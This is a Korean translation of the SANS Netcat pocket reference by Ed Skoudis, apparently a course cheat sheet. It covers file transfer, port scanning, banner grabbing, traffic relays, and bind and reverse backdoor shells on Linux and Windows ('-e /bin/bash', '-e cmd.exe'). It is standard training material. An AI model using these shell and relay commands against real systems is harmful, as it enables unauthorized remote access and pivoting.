## 윈도에서 Netcat 릴레이

시작하기 위해서, 임시 디렉토리를 만들어서 .bat 파일을 생성:
**C:\> cd C:\temp**

*서버-클라이언트 릴레이:*
**C:\> echo nc [목표IP주소] [포트] > relay.bat**
**C:\> nc -l -p [로컬포트] -e relay.bat**

로컬포트 [로컬포트]에서 [목표IP주소]의 [포트]로 연결하는 Netcat 클라이언트로 패킷을 보내는 릴레이 생성

*클라이언트-서버 릴레이:*
**C:\> echo nc -l -p [로컬포트_2] > relay.bat**
**C:\> nc -l -p [로컬포트_1] -e relay.bat**

[로컬포트_1]에서 [로컬포트_2]에 패킷을 보내는 릴레이 생성

*클라이언트-클라이언트 릴레이:*
**C:\> echo nc [다음단계IP주소] [포트2] > relay.bat**
**C:\> nc -l -p [전단계IP주소] [포트] -e relay.bat**

[전단계IP주소]의 포트 [포트]에서 [다음단계IP주소]의 포트 [포트2]에 연결된 Netcat 클라이언트로 패킷을 보내는 릴레이 생성

## Netcat 명령어 플래그

**$ nc [옵션] [목표IP주소] [포트]**

**[목표IP주소]**는 단순히 다른 쪽의 IP 주소 또는 도메인명이다. 클라이언트 모드에서는 당연히 필요하며 (왜냐하면 접속하는 곳을 알아야 하기 때문) 서버 모드에서는 선택 사항이다.

-l : 서버 모드(디폴트는 클라이언트 모드)
-L : 계속 서비스(윈도 버전의 Netcat에서 지원). 이 옵션은 클라이언트가 연결이 끊어 지더라도 다시 서비스를 제공하여 Netcat이 계속하여 서비스를 하도록 함
-u : UDP 모드(디폴트는 TCP)
-p : 로컬 포트(서버 모드에서, 서비스하는 포트임. 클라이언트 모드에서는 모든 패킷이 전송하는 소프 포트이다.)
-e : 연결이 된 후, 실행되는 프로그램. STDIN과 STOUT을 프로그램에 연결
-n : 다른 쪽 컴퓨터의 이름에 대해서 DNS 검색을 하지 말라.
-z : 제로 I/O 모드(어떤 데이터도 전송금지, 페이로드 없이 패킷을 보내는 것)
-wN : STDIN이 끝난 후 N초 동안 기다린 후 연결을 종료. 어떤 Netcat 클라이언트 또는 서버가 이 옵션을 사용하면 N초를 기다린 후 연결을 맺는다. 그 시간 동안 연결이 되지 않는다면 Necat은 동작이 멈춤
-v : 연결이 되거나, 표준 에러 등에 대해서 각종 상태 메시지 출력
-vv : 표준 에러 등에 대해서 훨씬 더 자세한 사항 등을 출력

SANS INSTITUTE

# Netcat 참고서

*Ed Skoudis 작성*
*번역 : SANS 코리아*

**포켓 참고 가이드**

http://www.sans.org
http://www.sans.or.kr

## 목적

이 참고 가이드는 SANS 504, 517 및 560 코스에 맞게 리눅스 및 유닉스에서 Netcat을 사용하는 다양한 팁을 제공합니다. 모든 문법은 호빗과 웰드 폰드가 발표한 Netcat 원본 버전에 따랐습니다. 본 문서의 문법은 ncat, gnu Netcat 등 다른 Netcat에서도 사용가능합니다.

## 기본 지식

*기본적인 Netcat 클라이언트*:
**$ nc [목표IP주소] [포트]**

[목표IP주소]의 IP주소에 있는 임의의 [포트]에 접속한다.

*기본적인 Netcat 서버*:
**$ nc -l -p [로컬포트]**

임의의 포트 [로컬포트]에 Netcat 서버를 생성한다.

클라이언트와 서버는 STDIN으로 부터 입력을 받고, 네트워크에서 STDOUT으로 받은 데이터를 보낸다.

## 파일 전송

*클라이언트에서 서버로 파일 보내기:*
**$ nc -l -p [로컬포트] > [출력파일]**

[로컬포트]로 서비스하고, [출력파일]에 결과저장

**$ nc -w3 [목표IP주소] [포트] < [입력파일]**

**[입력파일]을 [목표IP주소]의 [포트]로 보내기**

*서버에서 클라이언트로 다시 파일 가져*오기
**$ nc -l -p [로컬포트] < [입력파일]**

[로컬포트]로 서비스하고, [입력파일]로 보내기

**$ nc -w3 [목표IP주소] [포트] > [출력파일]**

**[목표IP주소]의 [포트]로 연결하고, [출력파일]을 가져오기**

## TCP 포트 스캐너

*IP 주소 포트 스캔:*

**$ nc -v -n -z w1 [목표IP주소] [시작포트]-[마지막포트]**

[목표IP주소]의 [마지막포트]에서 [시작포트] 범위까지 각 포트에 연결을 시도. 자세히 보여주며(리눅슨는 -v, 윈도는 -vv) 도메인명을 검색하지 않고(-n), 아무 데이터도 보내는 않으며(-z), 연결이 되면 1초 이상 기다리지 않음 (-w1)

포트 번호를 무작위(-r)로 바꾸면 범위내에서 무작위로 선택하여 스캐닝을 함

## TCP 배너 수집하기

*리눅스의 IP주소에서 실행되는 TCP 서비스의 배너를 수집하기:*
**$ echo “” | nc -v -n -w1 [목표IP주소] [시작포트]-[마지막포트]**

[목표IP주소]의 [마지막포트]에서 [시작포트] 범위까지 각 포트에 연결을 시도. 자세히 보여주며(리눅슨는 -v, 윈도는 -vv) 도메인명을 검색하지 않고(-n), 연결이 되면 1초 이상 기다리지 않음 (-w1). 그 다음에 열린 포트에 아무것도 없는 문자를 보내고, 응답으로 배너값을 출력하는 것

-r을 추가하면, 범위내 목적지 포트 번호를 무작위(-r)로 선택

-p [포트]를 추가하면 출발지 포트를 구체적으로 지정

## 백도어 쉘

*리눅스에서 백도어 쉘 서비스:*
**$ nc -l -p [로컬포트] -e /bin/bash**
*윈도에서 백도어 쉘 서비스:*
**C:\> nc -l -p [로컬포트] -e cmd.exe**

기본적인 Netcat 클라이언트를 이용해서 접근가능한 로컬포트 [로컬포트]에 쉘 생성

*리눅스에서 역 백도어 쉘*
**$ nc [자신의IP주소] [포트] -e /bin/bash**
*윈도에서 역 백도어 쉘*
**C:\> nc [자신의IP주소] [포트] -e cmd.exe**

[자신의IP주소]의 로컬포트 [포트]로 연결하려하는 역 쉘 생성. 이 쉘은 기본적인 nc 서버를 이용해서 접속 가능함

## 리눅스에서 Netcat 릴레이

시작하기 위해, 백파이프라 불리는 FIFO(파이프)를 생성:
**$ cd /tmp**
**$ mknod backpipe p**

*서버-클라이언트 릴레이:*
**$ nc -l -p [로컬포트] 0 < backpipe | nc [목표IP주소] [포트] | tee backpipe**

로컬포트 [로컬포트]에서 [목표IP주소]의 [포트]로 연결하는 Netcat 클라이언트로 패킷을 보내는 릴레이 생성

*클라이언트-서버 릴레이:*
**$ nc -l -p [로컬포트_1] 0<backpipe | nc -l -p [로컬포트_2] | tee backpipe**

[로컬포트_1]에서 [로컬포트_2]에 패킷을 보내는 릴레이 생성

*클라이언트-클라이언트 릴레이:*
**$ nc [전단계IP주소] [포트] 0<backpipe | nc [다음단계IP주소] [포트2] | tee backpipe**

[전단계IP주소]의 포트 [포트]에서 [다음단계IP주소]의 포트 [포트2]에 연결된 Netcat 클라이언트로 패킷을 보내는 릴레이 생성